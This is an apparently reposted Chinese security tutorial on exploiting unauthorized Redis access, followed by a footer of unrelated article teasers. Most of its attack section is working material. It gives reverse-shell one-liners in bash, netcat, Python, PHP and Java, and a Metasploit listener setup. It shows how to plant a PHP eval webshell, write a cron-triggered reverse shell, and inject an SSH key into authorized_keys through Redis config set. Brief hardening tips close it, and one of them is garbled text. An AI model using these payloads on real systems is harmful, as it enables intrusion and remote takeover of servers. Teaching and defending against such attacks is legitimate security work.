網安-中間件-Redis未授權訪問漏洞

目錄

Redis

Redis持久化

動態修改配置

使用反彈連接的情況

常見監聽端口的方式

常見建立反彈連接的方式

流程

Linux crontab

cron文件存儲路徑

利用Redis實現攻擊

1.webshell提權案例

2.定時任務shell反彈案例

3.SSH Key getshell案例

?編輯Redis其他利用方式

Redis加固


Redis

1.數據類型豐富,應用場景廣泛
2.純內存的數據結構,讀寫速度快
3.功能特性豐富(持久化、事務、pipeline、多語言支持、集群分布式)

Redis持久化

RDB Redis DataBase (默認)
AOF Append Only File

配置:
1.save 3600 1 #自動觸發規則
2.dbfilename dump.rdb #文件名
3.dir ./ #存儲路徑

手動觸發保存命令:save / bgsave

動態修改配置

config set:動態修改配置,重啟以后失效
config set dir /var/www/html
config set dbfilename redis.php

使用反彈連接的情況

1.內網,私有IP
2.IP動態變化
3.6379端口不允許入方向
4.一句話木馬被殺軟刪除

常見監聽端口的方式

類型命令
netcatnc -lvnp 8888
msfmsfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.6.131
set lport 8888
run
socat?socat TCP-LISTEN:8888 - (kali)

常見建立反彈連接的方式

類型命令
Linux?bashbash -i >& /dev/tcp/192.168.6.131/8888 0>&1
netcatnc -e /bin/bash 192.168.6.131 8888
Pythonpython - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
PHPphp -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");'
php -r '$sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i<&3 >&3 2>&3");'
Javar=Runtime.getRuntime()
p= r.(["/bin/bash","-c",exec 5<>/dev/tcp/192.168.6.131/8888;cat<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
......

bash反彈連接?

bash -i >& /dev/tcp/192.168.6.131/8888 0>&1

打開一個交互式的bash終端

與遠程機器建立一個socket連接

將標準錯誤輸出合并到標準輸出中
將標準輸入重定向到標準輸出中

防火墻CentOS
systemctl status firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=7777/tcp -- permanent
firewall-cmd --reload
systemctl stop firewalld?

流程

1.監聽端口
2.執行命令,或者上傳payload訪問,建立連接

上傳

1.文件上傳漏洞
2.寫入文件:MySQL、Redis、CMS
3.文本編輯命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
執行
訪問或者定時任務自動觸發?

Linux crontab

命令操作
crontab -u root -r刪除某個用戶的任務
crontab -u root time.cron把文件添加到某個用戶的任務
crontab -u root -l列舉某個用戶的任務
crontab -u root -e編輯某個用戶的任務

cron文件存儲路徑

路徑內容
/var/spool/cron這個文件負責安排由系統管理員制定的維護系統以及其他任務的crontab
/etc/crontab放的是對應周期的任務dalily、hourly 、monthly、weekly


利用Redis實現攻擊

1.webshell提權案例

server:192.168.6.66

client:192.168.6.131

client:寫入一句話木馬

set h "<?php @eval($_POST[cmd]); ?>"

?server:利用蟻劍連接


2.定時任務shell反彈案例

client: 在定時任務里寫入反彈shell

?set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"

?server:查看定時任務

?client:反彈成功

3.SSH Key getshell案例

SSH key免密登錄
1.客戶端生成密鑰對(公鑰、私鑰)
2.客戶端把公鑰發給服務端保存(正常情況需要密碼)
3.客戶端用私鑰加密消息,發給服務端
4.服務端用公鑰解密,解密成功,說明密鑰匹配
5.客戶端免密登錄成功

“你之前保存了我的公鑰,所以可以解密我的消息,所以認得我”

redis利用SSH Key提權流程
控制機連接到Redis
向$HOME/.ssh/authorized_keys寫入公鑰
ssh -i ./id_rsa user@IP 使用私鑰免密登錄
執行后續操作

前提:server有.ssh

?client:生成密鑰

?ssh-keygen

set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"

server:

?client利用私鑰登錄

ssh -i ./id_rsa root@192.168.6.66

Redis其他利用方式

基于主從復制的RCE(Remote Code Execution)
jackson 反序列化利用
lua RCE
Redis密碼爆破

Redis加固

1.限制訪問IP
2.修改默認端口
3.使用密碼St訪ruct問ured Query Language
4.不要用root運行Redis

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/90725.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/90725.shtml
英文地址,請注明出處:http://en.pswp.cn/web/90725.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【c++深入系列】:萬字詳解棧和隊列和deque(附模擬實現的源碼)

&#x1f525; 本文專欄&#xff1a;c &#x1f338;作者主頁&#xff1a;努力努力再努力wz &#x1f4aa; 今日博客勵志語錄&#xff1a; 石頭能被水滴穿&#xff0c;不是因為水有多強&#xff0c;而是因為它從未停過。 ★★★ 本文前置知識&#xff1a; 模版 棧 那么棧這個…

速通python加密之RSA加密

RSA加密 RSA加密是一種非對稱加密算法&#xff08;與AES等對稱加密不同&#xff09;&#xff0c;由羅納德李維斯特&#xff08;Ron Rivest&#xff09;、阿迪薩莫爾&#xff08;Adi Shamir&#xff09;和倫納德阿德曼&#xff08;Leonard Adleman&#xff09;于1977年提出&…

Java BeanUtils 類詳解:作用、語法與示例

一、BeanUtils 的核心作用BeanUtils 是 Apache Commons 和 Spring Framework 提供的工具類&#xff0c;主要用于簡化 JavaBean 的操作。核心功能包括&#xff1a;屬性拷貝&#xff1a;對象間同名屬性自動復制動態訪問&#xff1a;通過字符串名稱操作屬性類型轉換&#xff1a;自…

PyCharm高效開發全攻略

安裝與基礎配置下載PyCharm專業版或社區版&#xff08;免費&#xff09;并完成安裝。首次啟動時選擇默認設置或自定義主題、字體大小等界面偏好。配置Python解釋器路徑&#xff08;推薦使用虛擬環境&#xff09;&#xff0c;確保項目依賴隔離。快捷鍵與導航熟悉核心快捷鍵能大幅…

Pycharm 給 python 程序打包EXE的配置和方法

前言: Python 語言的設計變得越來越簡單,它有很多可以使用的庫,所以尤其在人工智能時代,Python語言被廣泛應用。但是Python語言和windows系統的兼容性稍微偏弱,如何生成windows可以執行的exe文件。是要一個很復雜的配置過程,本文就會做一個介紹。 本文,通過一個Python…

【Linux | 網絡】傳輸層(UDP和TCP)

目錄一、再談端口號1.1 端口號1.2 端口號的范圍劃分1.3 常見知名端口號1.4 netstat 命令1.5 進程與端口號的關系1.6 pidof 命令二、UDP協議2.1 UDP協議段格式2.2 如何理解UDP報頭和UDP報文2.2.1 UDP報頭2.2.2 UDP報文和UDP報文的管理2.2.3 UDP封裝過程2.3 UDP的特點2.4 UDP的緩…

mybatisX的自定義模板生成

在idea中使用mybtais的自定義模板生成&#xff0c;可以幫我們省去很多重復的代碼。 打開一個項目&#xff0c;我們要修改的主要就兩個文件&#xff0c;一個是生成的mapper接口&#xff0c;另一個是xml文件&#xff1a; 相應的mapper接口模板為&#xff1a; package ${mapper…

miniz:一個輕量級、高性能的開源壓縮庫

目錄 1.簡介 2.核心特性 3.基本使用示例 4.與 ZLIB 的對比 5.使用場景 6.注意事項 1.簡介 miniz 是一個輕量級、高性能的開源壓縮庫&#xff0c;專注于提供 ZLIB/GZIP 兼容的壓縮和解壓縮功能。它的核心優勢在于體積小巧&#xff08;單文件實現&#xff09;、跨平臺支持和…

Jenkins接口自動化測試(構建)平臺搭建

Python接口自動化測試零基礎入門到精通&#xff08;2025最新版&#xff09;自動化測試流程 在進行平臺搭建前&#xff0c;我們首先要問自己&#xff1a;我需要搭建的平臺的功能是什么&#xff0c;要實現什么目標&#xff1f; 在我的理解中&#xff0c;自動化構建平臺的執行流…

Day 22: 復習

機器學習數據處理與降維技術復習總結 前言 經過6天的學習&#xff0c;我們系統地學習了從基礎的Numpy數組操作到高級的降維算法&#xff0c;這些內容構成了機器學習數據預處理的重要知識體系。本文將對這一系列學習內容進行全面復習和總結&#xff0c;幫助大家建立完整的知識…

力扣 hot100 Day56

46. 全排列 給定一個不含重復數字的數組 nums &#xff0c;返回其 所有可能的全排列 。你可以 按任意順序 返回答案。 //抄的 class Solution { private:vector<vector<int>>result;vector<int> path; public:void backtracking(vector<int>& nu…

Android 編碼規范全指南

在 Android 開發領域&#xff0c;代碼不僅是功能實現的載體&#xff0c;更是團隊協作與項目迭代的基礎。一套完善的編碼規范&#xff0c;能讓代碼從 “可運行” 升級為 “易維護、可擴展、低風險”。本文基于 Google、Square 等頂尖團隊的實踐經驗&#xff0c;結合國內 Android…

[RPA] Excel中的字典處理

案例1一個Excel文件總共有2個Sheet頁&#xff0c;分別為總表和對照表通過對照表sheet頁&#xff0c;設置價格對照字典對照表循環總表sheet頁&#xff0c;根據循環到的商品名稱&#xff0c;找到對應字典中的價格&#xff0c;并計算出總價總表將總價寫入到Excel表中C列&#xff0…

基于NSGAII優化算法的車間生產調度matlab仿真

目錄 1.程序功能描述 2.測試軟件版本以及運行結果展示 3.部分程序 4.算法理論概述 5.參考文獻 6.完整程序 1.程序功能描述 車間生產調度是制造業的核心環節&#xff0c;其目標是在滿足設備約束、工序優先級等條件下&#xff0c;優化多個相互沖突的生產指標&#xff08;如…

Cmake、VS2019、C++、openGLopenCV環境安裝

在 CMake 和 Visual Studio 2019 環境下安裝和配置 OpenGL、OpenCV 以及 CUDA 可能會有些復雜&#xff0c;因為涉及的組件多且相互依賴。以下是一個詳細的指南&#xff0c;幫助您逐步完成安裝和配置。 1. 前提條件 在開始之前&#xff0c;請確保您已安裝以下軟件&#xff1a; …

視頻二維碼在產品設備說明書中的應用

在當今數字化的時代&#xff0c;傳統的產品設備說明書正面臨著一場變革。文字和圖片雖然能提供基本信息&#xff0c;但在復雜設備的安裝、操作和故障排除方面&#xff0c;往往顯得力不從心。而視頻二維碼的出現&#xff0c;為這一困境提供了完美的解決方案&#xff0c;它將冰冷…

【Pytest 使用教程】

pytest 使用 test_basic.py Pytest 完全實戰手冊 一、核心概念與基礎 1、在pytest框架下運行測試用例&#xff0c;最基礎的一共有三點。導入pytest的包寫一個方法&#xff0c;或者類。后面運行的時候&#xff0c;相當于運行這個方法&#xff0c;或者類里的方法&#xff0c;無需…

基于OpenOCD 的 STM32CubeIDE 開發燒錄調試環境搭建 DAPLINK/STLINK

需要部署一個開發環境,實現h7的板子通過daplink功能給目標板燒寫程序(同事要將這個過程用fpga實現),需要通過openocd+gdb+daplink stm32; 總結:單條命令執行太麻煩,參考4寫成腳本文件: 獨立腳本使用Openocd ? 在**“在Stm32CubeIDE環境下使用DAP-Link仿真”**一文中…

嵌入式硬件篇---zigbee無線串口通信問題

使用 ZigBee 進行無線串口通信時&#xff0c;接收異常&#xff08;如丟包、亂碼、完全無法接收&#xff09;是常見問題&#xff0c;其原因涉及射頻通信特性、網絡機制、硬件配置、環境干擾等多個層面。以下從具體機制出發&#xff0c;詳細分析可能的原因&#xff1a;一、射頻層…

【AI周報】2025年7月26日

【AI周報】2025年7月第四周觀察&#xff1a;GitHub Spark重塑開發范式&#xff0c;中美AI政策對壘升級 省流版靜態頁面周報&#xff0c;為方便各位看官快速食用&#xff0c;我準備了摘要版周報&#xff0c;歡迎訪問&#xff1a;20250726周報 引言&#xff1a;本周焦點速覽 2…